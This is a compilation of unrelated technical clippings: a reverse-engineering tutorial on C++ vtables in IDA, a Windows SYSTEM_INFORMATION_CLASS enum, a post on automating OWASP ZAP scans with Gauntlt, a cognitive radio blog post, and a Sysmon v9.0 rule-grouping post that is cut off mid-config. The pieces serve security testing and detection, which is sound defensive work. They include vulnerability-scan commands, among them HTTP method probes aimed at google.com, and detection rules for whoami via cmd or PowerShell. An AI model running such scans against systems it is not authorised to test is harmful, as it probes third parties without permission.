certainly the destructor. Depending on the programming convention and the
compiler used, the first method often is the destructor, but here’s a
counterexample. It is time to analyze the constructor.

## Analysis of the constructor

[code]

    int __cdecl class1::ctor(void *a1)
    {
      sub_80487B8(a1);
      *(_DWORD *)a1 = &off_8048A38;
      return puts("B::B()");
    }
[/code]

You can start by setting the typing information we already know on « a1 ». The
puts\(\) call confirms our thoughts that we are in a constructor, but here we
even learn the name of the class.

« **sub\_80487B8**\(\) » is called directly in the constructor. This can be a
static method of class1, but it can also be a constructor of a parent-class.

« **off\_8048A38** » is the vtable of class1. By looking there, you will be
able to find out how big is our vtable \(just watch the next pointer that has
an Xref\), and a list of the virtual methods of « class1 ». You can rename
them to « class1\_mXX », but beware that some of these methods may be shared
with other classes.

It is possible to set typing information on the vtable itself \(click on it, «
y », « class1\_vtable »\), but I do not recommend it since you lose the
classic view in IDA, and it doesn’t provide anything you can’t see in the
classic view.

<img src='img/Temp2_6952.png' width='717' height='313' />

### The strange call in the constructor

[code]

    int __cdecl sub_80487B8(int a1)
    {
      int result; // eax@1
      *(_DWORD *)a1 = &off_8048A50;
      puts("A::A()");
      result = a1;
      *(_DWORD *)(a1 + 4) = 42;
      return result;
    }
[/code]

The call to the « **sub\_80487b8**\(\) » function in the constructor reveals
us the same type of function: a virtual function table pointer is put in the
vtable member, and a puts\(\) tells us we’re in yet another constructor.

Don’t retype the type « class1 » for argument « a1 », since we’re not dealing
with class1. We found a new class, that we will call « class2 ». This class is
a superclass of class1. Let’s do the same work as in class1. The only
difference it that we do not know exactly the size of its member. There are
two ways of figuring it out:

  * Look at the xrefs of class2 ::ctor. If we find a straight call to it after a new \(i.e. an instantiation\), we know the size of its members.
  * Look at the methods in the vtable, and try to guess what’s the highest member ever accessed.

In our case, « class2 ::ctor » accesses the 4 bytes after the 4 first ones and
set it to 42. Since its child-class « class1 » is 8 bytes long, so is « class2
».

<img src='img/Temp2_6953.png' width='607' height='346' />

Do the same procedure with all the subclasses, and give names to the virtual
functions, starting from the parent classes to the children.

### Study of the destructors

Let’s go back to our main function. We can see that the last call, before our
v0 object becomes a memory leak, is a call to the third virtual method of
class2. Let’s study it.

[code]

    if ( v0 )
      ((void (__cdecl *)(class1 *))
        v0->vtable->method_3)(v0);
    …
[/code]

[code]

    void __cdecl class1::m3(class1 *a1)
    {
      class1::m2(a1);
      operator delete(a1);
    }
    …
[/code]

[code]

    void __cdecl class1::m2(class1 *a1)
    {
      a1->vtable = (class1_vtable *)&class1__vtable;
      puts("B::~B()");
      class2::m2((class2 *)a1);
    }
    …
[/code]

[code]

    void __cdecl class2::m2(class2 *a1)
    {
      a1->vtable = (class2_vtable *)&class2__vtable;
      puts("A::~A()");
    }
[/code]

What we can see here is the following: class1 ::m3 is a destructor, which
calls class1 ::m2 which is the main destructor of class1. What this destructor
do is ensure that we’re well in « class1 » context, by setting back the vtable
to is « class1 » state. It then calls the destructor of « class2 », which also
sets the vtable to « class2 » context. This method can also be used to walk
through the whole class hierarchy, since the virtual destructors must always
be called for all the classes in the way.

# Hey, what are all these casts? Why do I have two structures defining the
same fields?

What we have here is exactly the same problem that you get when doing OOP with
C : You end up with several fields declared in all the subclasses. Here is
what I do to avoid redefinition of fields:

  * For each class, define a classXX\_members, classXX\_vtable, classXX structure.
  * classXX contains 
    * +++ vtable \(typed to classXX\_vtable \*\)
    * +++ classXX-1\_members \(members of the superclass\)
    * +++ classXX\_members, if any
    * classXX\_vtable contains
    * +++classXX-1\_vtable
    * +++classXX’s vptrs, if any

Ideally, you should start from the main class to the children, until you end
up in an edge class. In our exemple, here’s the « solution » of our sample:

[code]

    00000000 class1          struc ; (sizeof=0x8)
    00000000 vtable          dd ?                    ; offset
    00000004 class2_members  class2_members ?
    00000008 class1          ends
    00000008
    00000000 ; ----------------------------------------------00000000
    00000000 class1_members  struc ; (sizeof=0x0)
    00000000 class1_members  ends
    00000000
    00000000 ; ----------------------------------------------00000000
    00000000 class1_vtable   struc ; (sizeof=0xC)
    00000000 class2_vtable   class2_vtable ?
    0000000C class1_vtable   ends
    0000000C
    00000000 ; ----------------------------------------------00000000
    00000000 class2          struc ; (sizeof=0x8)
    00000000 vtable          dd ?                    ; offset
    00000004 members         class2_members ?
    00000008 class2          ends
    00000008
    00000000 ; ----------------------------------------------00000000
    00000000 class2_vtable   struc ; (sizeof=0xC)
    00000000 method_1        dd ?                    ; offset
    00000004 dtor            dd ?                    ; offset
    00000008 delete          dd ?                    ; offset
    0000000C class2_vtable   ends
    0000000C
    00000000 ; ----------------------------------------------00000000
    00000000 class2_members  struc ; (sizeof=0x4)
    00000000 field_0         dd ?
    00000004 class2_members  ends
    00000004
    int __cdecl main()
    {
      class1 *v0; // ebx@1
      v0 = (class1 *)operator new(8);
      class1::ctor(v0);
      ((void (__cdecl *)(class1 *)) v0->vtable->class2_vtable.method_1)(v0);
      if ( v0 )
        ((void (__cdecl *)(class1 *)) v0->vtable->class2_vtable.delete)(v0);
      return 0;
    }
[/code]

[code]

    int __cdecl class1::ctor(class1 *a1)
    {
      class2::ctor((class2 *)a1);
      a1->vtable = (class1_vtable *)&class1__vtable;
      return puts("B::B()");
    }
[/code]

[code]

    class2 *__cdecl class2::ctor(class2 *a1)
    {
      class2 *result; // eax@1
      a1->vtable = (class2_vtable *)&class2__vtable;
      puts("A::A()");
      result = a1;
      a1->members.field_0 = 42;
      return result;
    }
[/code]

# In brief

  * When you find a new class, give a symbolic name, and resolve the whole tree before figuring out what should be its real name
  * Start from the ancestor and go up to the children
  * Look at the constructors and destructors first, check out the references to new\(\) and static methods.
  * Often, the methods of a same class are located close to each other in the compiled file. Related classes \(inheritance\) may be far away from each other. Sometimes, the constructors are inlined in childclasses constructors, or even at the place of the instantiation.
  * If you want to spare time when reversing huge inherited structures, use the struct inclusion trick to name variable only once.
  * Use and abuse Hex-rays’ typing system, it’s very powerful.
  * Pure virtual classes are hell : you can find several classes having similar vtables, but no code in common. Beware of them.

## Sources

Try this at home \!  
The binary \(elf32 stripped\)  
  
The source file. Don’t open it too fast \!

  *[02/09/11 - 09:12pm]: 2011-09-02T09:09:34

# протез памяти: SYSTEM\_INFORMATION\_CLASS from w8.1 preview

**Created:**| _6/29/2013 11:59:33 AM_  
---|---  
**Updated:**| _7/28/2013 7:55:20 AM_  
**Author:**| __  
**Tags:**| _windows environment syscall_  
  

# **S** YSTEM\_INFORMATION\_CLASS from w8.1 preview****

`enum _SYSTEM_INFORMATION_CLASS {  
SystemBasicInformation = 0x0,  
SystemProcessorInformation = 0x1,  
SystemPerformanceInformation = 0x2,  
SystemTimeOfDayInformation = 0x3,  
SystemPathInformation = 0x4,  
SystemProcessInformation = 0x5,  
SystemCallCountInformation = 0x6,  
SystemDeviceInformation = 0x7,  
SystemProcessorPerformanceInformation = 0x8,  
SystemFlagsInformation = 0x9,  
SystemCallTimeInformation = 0xa,  
SystemModuleInformation = 0xb,  
SystemLocksInformation = 0xc,  
SystemStackTraceInformation = 0xd,  
SystemPagedPoolInformation = 0xe,  
SystemNonPagedPoolInformation = 0xf,  
SystemHandleInformation = 0x10,  
SystemObjectInformation = 0x11,  
SystemPageFileInformation = 0x12,  
SystemVdmInstemulInformation = 0x13,  
SystemVdmBopInformation = 0x14,  
SystemFileCacheInformation = 0x15,  
SystemPoolTagInformation = 0x16,  
SystemInterruptInformation = 0x17,  
SystemDpcBehaviorInformation = 0x18,  
SystemFullMemoryInformation = 0x19,  
SystemLoadGdiDriverInformation = 0x1a,  
SystemUnloadGdiDriverInformation = 0x1b,  
SystemTimeAdjustmentInformation = 0x1c,  
SystemSummaryMemoryInformation = 0x1d,  
SystemMirrorMemoryInformation = 0x1e,  
SystemPerformanceTraceInformation = 0x1f,  
SystemObsolete0 = 0x20,  
SystemExceptionInformation = 0x21,  
SystemCrashDumpStateInformation = 0x22,  
SystemKernelDebuggerInformation = 0x23,  
SystemContextSwitchInformation = 0x24,  
SystemRegistryQuotaInformation = 0x25,  
SystemExtendServiceTableInformation = 0x26,  
SystemPrioritySeperation = 0x27,  
SystemVerifierAddDriverInformation = 0x28,  
SystemVerifierRemoveDriverInformation = 0x29,  
SystemProcessorIdleInformation = 0x2a,  
SystemLegacyDriverInformation = 0x2b,  
SystemCurrentTimeZoneInformation = 0x2c,  
SystemLookasideInformation = 0x2d,  
SystemTimeSlipNotification = 0x2e,  
SystemSessionCreate = 0x2f,  
SystemSessionDetach = 0x30,  
SystemSessionInformation = 0x31,  
SystemRangeStartInformation = 0x32,  
SystemVerifierInformation = 0x33,  
SystemVerifierThunkExtend = 0x34,  
SystemSessionProcessInformation = 0x35,  
SystemLoadGdiDriverInSystemSpace = 0x36,  
SystemNumaProcessorMap = 0x37,  
SystemPrefetcherInformation = 0x38,  
SystemExtendedProcessInformation = 0x39,  
SystemRecommendedSharedDataAlignment = 0x3a,  
SystemComPlusPackage = 0x3b,  
SystemNumaAvailableMemory = 0x3c,  
SystemProcessorPowerInformation = 0x3d,  
SystemEmulationBasicInformation = 0x3e,  
SystemEmulationProcessorInformation = 0x3f,  
SystemExtendedHandleInformation = 0x40,  
SystemLostDelayedWriteInformation = 0x41,  
SystemBigPoolInformation = 0x42,  
SystemSessionPoolTagInformation = 0x43,  
SystemSessionMappedViewInformation = 0x44,  
SystemHotpatchInformation = 0x45,  
SystemObjectSecurityMode = 0x46,  
SystemWatchdogTimerHandler = 0x47,  
SystemWatchdogTimerInformation = 0x48,  
SystemLogicalProcessorInformation = 0x49,  
SystemWow64SharedInformationObsolete = 0x4a,  
SystemRegisterFirmwareTableInformationHandler = 0x4b,  
SystemFirmwareTableInformation = 0x4c,  
SystemModuleInformationEx = 0x4d,  
SystemVerifierTriageInformation = 0x4e,  
SystemSuperfetchInformation = 0x4f,  
SystemMemoryListInformation = 0x50,  
SystemFileCacheInformationEx = 0x51,  
SystemThreadPriorityClientIdInformation = 0x52,  
SystemProcessorIdleCycleTimeInformation = 0x53,  
SystemVerifierCancellationInformation = 0x54,  
SystemProcessorPowerInformationEx = 0x55,  
SystemRefTraceInformation = 0x56,  
SystemSpecialPoolInformation = 0x57,  
SystemProcessIdInformation = 0x58,  
SystemErrorPortInformation = 0x59,  
SystemBootEnvironmentInformation = 0x5a,  
SystemHypervisorInformation = 0x5b,  
SystemVerifierInformationEx = 0x5c,  
SystemTimeZoneInformation = 0x5d,  
SystemImageFileExecutionOptionsInformation = 0x5e,  
SystemCoverageInformation = 0x5f,  
SystemPrefetchPatchInformation = 0x60,  
SystemVerifierFaultsInformation = 0x61,  
SystemSystemPartitionInformation = 0x62,  
SystemSystemDiskInformation = 0x63,  
SystemProcessorPerformanceDistribution = 0x64,  
SystemNumaProximityNodeInformation = 0x65,  
SystemDynamicTimeZoneInformation = 0x66,  
SystemCodeIntegrityInformation = 0x67,  
SystemProcessorMicrocodeUpdateInformation = 0x68,  
SystemProcessorBrandString = 0x69,  
SystemVirtualAddressInformation = 0x6a,  
SystemLogicalProcessorAndGroupInformation = 0x6b,  
SystemProcessorCycleTimeInformation = 0x6c,  
SystemStoreInformation = 0x6d,  
SystemRegistryAppendString = 0x6e,  
SystemAitSamplingValue = 0x6f,  
SystemVhdBootInformation = 0x70,  
SystemCpuQuotaInformation = 0x71,  
SystemNativeBasicInformation = 0x72,  
SystemErrorPortTimeouts = 0x73,  
SystemLowPriorityIoInformation = 0x74,  
SystemBootEntropyInformation = 0x75,  
SystemVerifierCountersInformation = 0x76,  
SystemPagedPoolInformationEx = 0x77,  
SystemSystemPtesInformationEx = 0x78,  
SystemNodeDistanceInformation = 0x79,  
SystemAcpiAuditInformation = 0x7a,  
SystemBasicPerformanceInformation = 0x7b,  
SystemQueryPerformanceCounterInformation = 0x7c,  
SystemSessionBigPoolInformation = 0x7d,  
SystemBootGraphicsInformation = 0x7e,  
SystemScrubPhysicalMemoryInformation = 0x7f,  
SystemBadPageInformation = 0x80,  
SystemProcessorProfileControlArea = 0x81,  
SystemCombinePhysicalMemoryInformation = 0x82,  
SystemEntropyInterruptTimingInformation = 0x83,  
SystemConsoleInformation = 0x84,  
SystemPlatformBinaryInformation = 0x85,  
SystemThrottleNotificationInformation = 0x86,  
SystemHypervisorProcessorCountInformation = 0x87,  
SystemDeviceDataInformation = 0x88,  
SystemDeviceDataEnumerationInformation = 0x89,  
SystemMemoryTopologyInformation = 0x8a,  
SystemMemoryChannelInformation = 0x8b,  
SystemBootLogoInformation = 0x8c,  
SystemProcessorPerformanceInformationEx = 0x8d,  
SystemSpare0 = 0x8e,  
SystemSecureBootPolicyInformation = 0x8f,  
SystemPageFileInformationEx = 0x90,  
SystemSecureBootInformation = 0x91,  
SystemEntropyInterruptTimingRawInformation = 0x92,  
SystemPortableWorkspaceEfiLauncherInformation = 0x93,  
SystemFullProcessInformation = 0x94,  
SystemKernelDebuggerInformationEx = 0x95,  
SystemBootMetadataInformation = 0x96,  
SystemSoftRebootInformation = 0x97,  
SystemElamCertificateInformation = 0x98,  
SystemOfflineDumpConfigInformation = 0x99,  
SystemProcessorFeaturesInformation = 0x9a,  
SystemRegistryReconciliationInformation = 0x9b,  
MaxSystemInfoClass = 0x9c,  
};  
` ****

# Automating ZAP through Gauntlt -- A DevOps Solution

**Created:**| _4/19/2018 5:39:50 AM_  
---|---  
**Updated:**| _4/19/2018 5:39:50 AM_  
**Author:**| _wishi_  
**Tags:**| __  
  

  

# Automating ZAP through Gauntlt — A DevOps Solution

__ Coveros Staff __ April 27, 2017 __Blogs, DevOps

Rugged DevOps, or DevSecOps, is a method for developing software that is
gaining much traction in recent years. However, the security tools and
practices may not merge well with automation.

This produces bottlenecking or delays security processes until time-consuming
manual tests at the end of a release cycle. Such delays in security testing
greatly increase the risk in identifying a security vulnerability which delays
or halts a release schedule. That is not ideal when working to design a DevOps
pipeline.

I recommend using Gauntlt to help resolve these issues and incorporate
automated security into DevOps. Gauntlt is a free and open source tool which
bundles together various common security tools and can add more to further
customize a test suite.

These security tools include network testers, such as NMap or SSlyze, and
SQLmap or Arachni for testing of injection and XSS vulnerabilities,
respectively.

Individual test attacks may be applied through Gauntlt or a group of attacks
may be initiated. This is similar to a list of tasks used to test an
application within the DevOps process.

These attacks are written in the Gherkin language, which can be used to
describe automated tests without defining exactly how those tests are
implemented. For those familiar with Cucumber, Gherkin uses Cucumber syntax to
define the tests in a series of 3 basic statements:

**Given** a scenario,

**When** an action is taken,

**Then** it will result in a specific outcome.

Gauntlt’s test suite can be combined with the OWASP Zed Attack Proxy \(ZAP\),
a great web application vulnerability scanner, to be more robust.
Specifically, ZAP was implemented via zap-cli, developed by Grunny, to start
the zap daemon and initiate a scan. Below is the attack file, myAttack.attack,
which may be used by Gauntlt to automatically

0102030405060708091011121314151617181920212223|  `@final` `Feature: OWASP ZAP
vulnerability scan` `Scenario: The ZAP attack is designed to run a
vulnerability scan to identify a range of issues within the target
application. Note that this takes a highly conservative approach of finding
``0` `issues. This attack will fail in most applications.` `Given The
``default` `aruba timeout is ``120` `seconds` `When I launch a ``"generic"`
`attack with:` `""``"` `zap-cli --verbose --port ``8099` `--api-key ``12345`
`quick-scan --self-contained -o ``'-config api.key=12345'` `--spider -r
http://localhost/` `""``"` `Then the output should contain:` `""``"` `Issues
found: ``0` `""``"`  
---|---  
**Speaking Gherkin**

Tags are used by Gauntlt to group various attacks and convey the meaning of
the attacks between developer, security, and operation resources. The @final
tag indicates the attack is ready to be used. Alternatively, a @draft tag may
be applied for attacks being developed and tested. The recommended practice is
to explicitly define the tags for various attacks. Some tags to include are
@slow for Gauntlt tests that take a long time to complete and @production for
tests that are run in live environments.

The Feature and Scenario statements make the scripts more user-friendly by
explaining the intentions of the attack. These are not executed by Gauntlt
when the attack is executed. The Feature statement defines the high-level
attack or attacks, while the Scenario defines the specifics of its Given,
When, Then. Please note that multiple Scenarios and Given, When, Then attacks
may be defined for a single Feature within one .attack file.

For the Given statement, I do not like including magic numbers but needed to
set one for ZAP to run correctly. Without defining the Aruba timeout, default
Gauntlt commands are allowed 3 seconds to complete. Those familiar with ZAP,
or vulnerability scanners in general, know these take significantly longer to
complete. Hence, I needed to define a longer timeout variable. The Given
statement can be optional when initial requirements are not needed. In most
cases, the Given statement is used to check whether the security tool is
installed. This only works for security tools which are natively bundled with
Gauntlt

The When statement defines the exact command line statement that will be
executed by Gauntlt. I recommend running all attack commands via the command
line to ensure they work as expected prior to running them through Gauntlt.
That will save time when debugging issues. In this particular case, zap-cli
must be installed and added to the system’s PATH as well as the zap.sh script.
Otherwise, the zap-cli tool will not work properly. Gauntlt does have a small
set of security tools it can use natively. Anything outside of that list, such
as ZAP, will need to be defined as a “generic” attack.

The Then statement defines the exact regular expression expected to be found
at some point in the output of the previous command line’s execution.

To learn more about Gauntlt’s finite list of command statements, visit this
site or type the following:

1|  `gauntlt --allsteps`  
---|---  
Scenario outlines may be applied to reduce the clutter within an attack file.
These create placeholder values within a generic scenario which may be applied
through a table of values when executed. The placeholder is defined within <>
braces, similar to <placeholderValue>. This can be used to run multiple
instances of the same scenario using different input. The sample Gauntlt curl
attack, verbs.attack, illustrates a scenario outline:

010203040506070809101112131415161718192021222324252627282930313233|  `@``slow``Feature: Evaluate responses to various HTTP methods.` `Background:` `Given ``"curl"` `is installed` `And the following profile:` `| name | value |` `| hostname | google.com |` `Scenario Outline: Verify server responds correctly to various HTTP methods` `When I launch a ``"curl"` `attack with:` `""``"` `curl -i -X <method> <hostname>` `""``"` `Then the output should contain ``"<response>"` `Examples:` `| method | response |``| delete | Error ``405` `(Method Not Allowed) |``| patch | Error ``405` `(Method Not Allowed) |``| trace | Error ``405` `(Method Not Allowed) |``| track | Error ``405` `(Method Not Allowed) |``| bogus | Error ``405` `(Method Not Allowed) |`  
---|---  
In this case, the curl request will be made to a single host, google.com,
multiple times according to the responses defined. The target hostname is set
in the profile and applied uniformly, while the examples set the individual
methods and expected responses of each iteration. The output of this attack is
shown in a later section. To use a different hostname for each individual
test, a third column may be applied to the examples.

**Running Gauntlt**

To have Gauntlt execute every attack in the current and sub-directories,
simply run:

1|  `gauntlt`  
---|---  
This is the equivalent of:

1|  `gauntlt .``/**/``*.attack`  
---|---  
Gauntlt can be further tailored to run a specific attack pattern:

1|  `gauntlt ./myAttack.attack`  
---|---  
To run Gauntlt and display the output in an easily readable format, such as
html, use the following command:

1|  `gauntlt --``format` `html > /tmp/report.html`  
---|---  
**Understanding Gauntlt’s Output**

The html report gathers the direct output from Gauntlt and color codes it in
terms of passing tests, green, and failing tests, red. These include the
Given, When, Then statements which Gauntlt ran.

When attacks fail, the command’s output is shown in red. The line beginning
with the -, in this case -Error 405 \(Method Not Allowed\), shows the specific
reason this attack failed. This was intended to check that the HTTP Status
returned for a DELETE method request was 501 to indicate that the method is
not implemented. However, the response included a 405 error to indicate the
method is not allowed. This attack should be rewritten as the DELETE method
vulnerability is not present in the environment.

**Troubleshooting**

Under certain conditions, the zap output, and by association, the Gauntlt
output, will fail and not provide good error reporting for troubleshooting.
When configuring and testing the attack above, I kept running into an error
alert which culminated in the following message:

File “/home/osboxes/.local/lib/python2.7/site-packages/requests/sessions.py”,
line 609, in send  
r = adapter.send\(request, \*\*kwargs\)  
File “/home/osboxes/.local/lib/python2.7/site-packages/requests/adapters.py”,
line 473, in send  
raise ConnectionError\(err, request=request\)  
requests.exceptions.ConnectionError: \(‘Connection aborted.’,
BadStatusLine\(“””,\)\)

Annoyingly, searching for help on this issue led me to believe a bug in a
python2.7 dependency was preventing the connection. However, that is not
correct. As of ZAP 2.5.0, an API key is needed to prevent ZAP from running
against its host machine or network. This security feature makes automating or
command line calls more difficult.

In the above Given, Then, When, I used zap-cli to configure the API key value,
with -o ‘-config api.key=12345’, and applied it to the current instance with,
–api-key 12345. Please refer to the github location above for usage of zap-
cli.

The Gauntlt tool can be used to incorporate numerous scanners to identify low
hanging fruit. Most importantly, it can move security processes earlier in the
SDLC.

  

# Avian’s Blog: Theory and Practice of Cognitive Radio

**Created:**| _7/3/2012 8:28:40 PM_  
---|---  
**Updated:**| _7/3/2012 8:28:40 PM_  
**Author:**| __  
**Tags:**| _AI sdr_  
  

## Theory and Practice of Cognitive Radio

14.05.2012 11:32

Last week I attended a three day course at Aalborg university on cognitive
radio. Cognitive radio research is the reason behind the development of
spectrum sensing hardware for VESNA. Since I haven't encountered this field
before joining the Jožef Stefan Institute I decided to go to this course to
get some background and to better understand what is the state of the art in
radio communications.

<img src='img/Temp2_950.jpg' alt='Aalborg university' />

It turns out cognitive radio means many things to many people. In the most
broad sense it's an autonomous device that can optimally use the
electromagnetic spectrum for communication by being aware and capable of
adapting to its environment. This idea is then developed by some to an
extreme, where the radio contains strong artificial intelligence that has
perfect knowledge of its surroundings and is capable of predicting future
events and the wishes of the user. For instance a mobile phone that learns
your daily commute and plans ahead in cooperation with base stations on how to
optimally use the cells on your way to the office. The personal digital
assistant idea is strongly coupled with this and sometimes cognitive radio
device is even described as being capable of communicating with the user
through speech and natural language.

But such visions I only see as a thought experiment, as I can see no
indications that such machines will be possible anytime soon. On the other
hand however there is a more pragmatic approach to cognitive radio that
concerns itself mostly with how to more efficiently use the limited amount of
usable frequencies and overcome the spectrum crunch. This research covers for
instance new ways to dynamically allocate frequency bands beyond very static
licensing regulation that is in use now, how to enable secondary use of
frequencies that are unused by people that initially licensed it for exclusive
use and how to decentralize frequency allocation. It is also tightly connected
to software defined radio technology that enables this kind of quick
reconfigurability of radio devices.

<img src='img/Temp2_948.jpg' alt='USRPs, part of the ASGARD test bed at
Aalborg university.' />

Besides lectures that covered information theory, networks, game theory,
machine learning, software radio and economics we also had a practical
demonstration of the ASGARD software radio platform. Guys from Aalborg
university demonstrated three pairs of USRP devices that were dynamically and
autonomously selecting radio channels in a shared 5 GHz ISM frequency band so
that the interference between them was minimized.

The course concluded with a poster session where I also presented the spectrum
sensing expansion for VESNA with the following poster \(PDF version\).

<img src='img/Temp2_949.jpg' alt='UHF spectrum sensing with VESNA, poster' />

Posted by Tomaž | Categories: Life
### Comments

S51FF should be proud of your recent work\! I am also. My first YU 16-bit PC
made at IJS in 1984 is on display at GOTO1982 exibition in MNZ. I am working
on Morse robot again, my unfinished PhD from 1991. Dull it isn't at 67\!

73 de Mario, S56A

Posted on 2 June 2012 by Mario, S56A

### Add a new comment

# Putting Sysmon v9.0 AND/OR Grouping Logic to the Test

**Created:**| _3/2/2019 6:16:02 PM_  
---|---  
**Updated:**| _3/2/2019 6:16:02 PM_  
**Author:**| _wishi_  
**Tags:**| __  
  

  

# Putting Sysmon v9.0 AND/OR Grouping Logic to the Test

<img src='img/1*9WbXEpOxOhaMq99CwG1ESQ.png' width='50' height='50' alt='Go to
the profile of Roberto Rodriguez' />

Roberto Rodriguez

Feb 20·12 min read

<img src='img/Temp2_6497.png' width='75' height='56' /><img
src='img/1*YDlbuijY1qh1K0WhSIRFKw.png' width='700' height='536' />

Sysmon v9.0 is now available, and now permits **AND** or **OR** statements
across rules. This is interesting and I believe might help some of the issues
I have experienced when writing very specific signature-like rules.

In this short post, I will share a little bit of my initial exploration of the
new AND/OR capabilities provided by the latest version of Sysmon, and provide
a basic example of a potential rule that can be written with the new features.

Before installing or updating the schema version of current Sysmon configs, I
believe it is important to go over some of the current Sysmon filtering
capabilities and limitations to understand the potential value of this update.

### Weren’t AND and OR Statements Possible Already?

Yes, and No\! According to the Sysmon documentation, **within a rule** ,
filter conditions have an **OR** behavior by default.

If I wanted to do the following:

[code]

    Collect ProcessCreate events including only processes that their names end with cmd.exe or powershell.exe
[/code]

I would simply write the following rule:

<img src='img/Temp2_6495.png' width='75' height='26' />

You can run Sysmon in **DebugMode****\(-t\)** and point it **\(-i\)** to your
custom Sysmon config to see how the rule matches events on specific
conditions.

`C:\WINDOWS\system32>sysmon.exe -t -i c:\Users\cbrown\Downloads\test.xml`

<img src='img/Temp2_6498.png' width='75' height='33' />

<img src='img/Temp2_6504.png' width='75' height='35' />

Now, if you decide to add a **new condition** with a different **field name**
to the rule, the **OR** behavior is still respected. The rule will still match
on any command line argument provided by powershell or cmd besides `whoami`.

In other words, if I wanted to do the following:

[code]

    Collect ProcessCreate events including processes that their names end with cmd.exe or powershell.exe and events where command line arguments contain whoami
[/code]

I could easily write the following rule:

<img src='img/Temp2_6502.png' width='75' height='27' />

Make sure you run Sysmon in **DebugMode** again and run a few tests

<img src='img/Temp2_6489.png' width='75' height='33' />

<img src='img/Temp2_6505.png' width='75' height='33' />

However, if I wanted to:

[code]

    Collect ProcessCreate events including processes that their names end with cmd.exe or powershell.exe and their command line arguments contain whoami ONLY
[/code]

This would not be possible with Sysmon v8.04 and older versions.

<img src='img/Temp2_6494.png' width='75' height='26' /><img
src='img/1*K1pVknGSBjsv4tz1K4n5hg.png' width='1252' height='450' />

The only **AND** statement that one was able to create until Sysmon V8.04 was
by using **Include** and **Exclude** rules for the same ID \(ProcessCreate,
NetworkConnect, ImageLoad, etc\).

For example, if I wanted to:

[code]

    Collect ProcessCreate events including processes that their names end with cmd.exe or powershell.exe, and exclude events where the command line contains whoami
[/code]

I would write the following rule:

<img src='img/Temp2_6491.png' width='75' height='25' />

<img src='img/Temp2_6499.png' width='75' height='35' />

<img src='img/Temp2_6492.png' width='75' height='26' />

You can verify that **only** events with the string `whoami` as part of the
command line arguments are being excluded.

<img src='img/Temp2_6480.png' width='75' height='35' />

### Then, what do I get with Sysmon 9.0?

According to the Sysmon documentation:

> It is also possible to override the way that rules are combined by using a
> rule group which allows the rule combine type for one or more events to be
> set explicitly to AND or OR.
Let’s install Sysmon v9.0 and start running some tests.

### Install latest Sysmon 9.0

  * •Download Sysmon Zip
  * •Install it via `sysmon.exe -accepteula -i`

<img src='img/Temp2_6501.png' width='75' height='43' />

### Explore Sysmon event manifest and config schema

Every time there is a new Sysmon release, I highly recommend to document and
understand potential changes to the overall event manifest or config schema.

### Event Manifest/Schema

Here is where you can find what schema version you need to use for your new
Sysmon configs and the event schema for each Sysmon event. This does not
provide detailed information of the new logic or features that can be defined
in a Sysmon configuration. You can infer some of the new features by new event
IDs or fields added to the event schema, but that is not enough. For this
update, we will be updating the schema version to `4.2` .

You can get the event manifest information by running:

`sysmon -s`

<img src='img/Temp2_6490.png' width='75' height='46' />

<img src='img/Temp2_6485.png' width='75' height='36' />

You can also access the new Sysmon 9.0 event log manifest xml here

### Configuration Schema

Sysmon uses **document type definition \(DTD\)** to validate the XML configs
that you create. As my teammate Matt Graeber said in this awesome post, Sysmon
should ship with an XSD 😉.

You can pull the DTD schema with strings.exe, but Matt already did that for
you and has it available here. If you take a look at it, you will see that:

**RuleGroup** can be applied to every Sysmon event

**RuleGroup** has a `name` and `groupRelation` options

  * •`name` values most likely will be showing under the current **RuleName** field since there is not a **RuleGroup RuleName** field in the event schema.
  * •`groupRelation` can be “and” or “or” and it is required when using **RuleGroup**.

As you can see, the DTD schema also gives you field names and the valid logic
that can be applied to them. This is very useful when you want to explore the
new capabilities provided by each Sysmon release.

Now that we understand a few of the changes to the event and config schema,
let’s start testing this new version.

### Basic “and” groupRelation

Let’s see if we can do something similar to what was not possible with 8.04:

[code]

    Collect ProcessCreate events including processes that their names end with cmd.exe or powershell.exe and their command line arguments contain whoami ONLY
[/code]

<img src='img/1*K1pVknGSBjsv4tz1K4n5hg.png' width='700' height='252' />

We have to create a `RuleGroup` and use the following schema for it:

[code]

    <Sysmon schemaversion="4.2">  
      <!-- Capture all hashes -->  
      <HashAlgorithms>*</HashAlgorithms>  
      <EventFiltering>  
        <!-- Event ID 1 == Process Creation -->  
        <RuleGroup name="group 1" groupRelation="and">  
          <ProcessCreate onmatch="include">  
            <Image condition="end with">cmd.exe</Image>  
            <Image condition="end with">powershell.exe</Image>  
            <CommandLine condition="contains">whoami</CommandLine>  
          </ProcessCreate>  
        </RuleGroup>  
      </EventFiltering>  
    </Sysmon>
[/code]

Start Sysmon in **DebugMode** and test a few commands:

<img src='img/Temp2_6483.png' width='75' height='32' />

<img src='img/Temp2_6484.png' width='75' height='31' />

That is working the same way as before so far\!

Now, what if I do not use `whoami` but `ping` as part of the command line
arguments? . Unlike the previous Sysmon versions, this time I did not get any
matches because of the new **“and”** `groupRelation` logic.

<img src='img/Temp2_6488.png' width='75' height='28' />

Nice\! That works as expected now\! . We can have the following logic working:

  * •Match events with **Image** ending in cmd.exe **AND** whoami in **CommandLine** arguments **ONLY**
  * •Match events with **Image** ending in powershell.exe **AND** whoami in **CommandLine** arguments **ONLY**

### What about multiple “and” groupRelations?

What if I want to create separate rule groups for each application \(cmd and
powershell\). For example, I want to define two **“and” groupRelations** via
two **Inclusion filters** :

[code]

    <Sysmon schemaversion="4.2">  
      <!-- Capture all hashes -->  
      <HashAlgorithms>*</HashAlgorithms>  
      <EventFiltering>  
        <!-- Event ID 1 == Process Creation -->  
        <RuleGroup name="group 1" groupRelation="and">  
          <ProcessCreate onmatch="include">  
            <Image condition="end with">cmd.exe</Image>  
            <CommandLine condition="contains">whoami</CommandLine>  
          </ProcessCreate>  
        </RuleGroup>  
        <RuleGroup name="group 2" groupRelation="and">  
          <ProcessCreate onmatch="include">  
            <Image condition="end with">powershell.exe</Image>  
            <CommandLine condition="contains">whoami</CommandLine>  
          </ProcessCreate>  
        </RuleGroup>  
      </EventFiltering>  
    </Sysmon>
[/code]

When I try to debug the config, I get the following message:

[code]

    Could not report error in RuleEngine: Multiple rule filters of the same type - Last error: The data is invalid.
[/code]

<img src='img/Temp2_6503.png' width='75' height='61' />

Apparently, I cannot have two `RuleGroup` of the same filter type \(i.e.
**Include-Include**\). What if I change the second filter type to an
**Exclusion** and keep both “**and”** `groupRelations` applied to each
`RuleGroup`?

<img src='img/Temp2_6486.png' width='75' height='55' />

[code]

    <Sysmon schemaversion="4.2">  
      <!-- Capture all hashes -->  
